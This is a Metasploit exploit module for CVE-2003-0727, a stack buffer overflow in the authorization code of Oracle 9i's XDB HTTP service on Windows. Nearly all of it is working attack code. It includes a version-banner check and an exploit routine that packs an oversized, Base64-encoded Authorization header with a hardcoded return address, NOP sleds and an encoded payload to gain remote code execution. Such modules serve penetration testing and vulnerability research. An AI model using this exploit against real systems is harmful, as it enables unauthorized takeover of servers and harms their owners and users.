Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit)

##
# $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the authorization
				code of the Oracle 9i HTTP XDB service. David Litchfield,
				has illustrated multiple vulnerabilities in the Oracle
				9i XML Database (XDB), during a seminar on "Variations
				in exploit methods between Linux and Windows" presented
				at the Blackhat conference.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2003-0727'],
					['OSVDB', '2449'],
					['BID', '8375'],
					['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 18 2003'))

		register_options(
			[
				Opt::RPORT(8080)
			], self.class )
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

		if (resp =~ /9.2.0.1.0/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit =  rand_text_english(4, payload_badchars) + ":"
		sploit << rand_text_english(442, payload_badchars)
		sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
		sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded

		req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"

		res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req

		print_status("Trying target %s..." % target.name)

		sock.put(res)

		handler
		disconnect
	end

end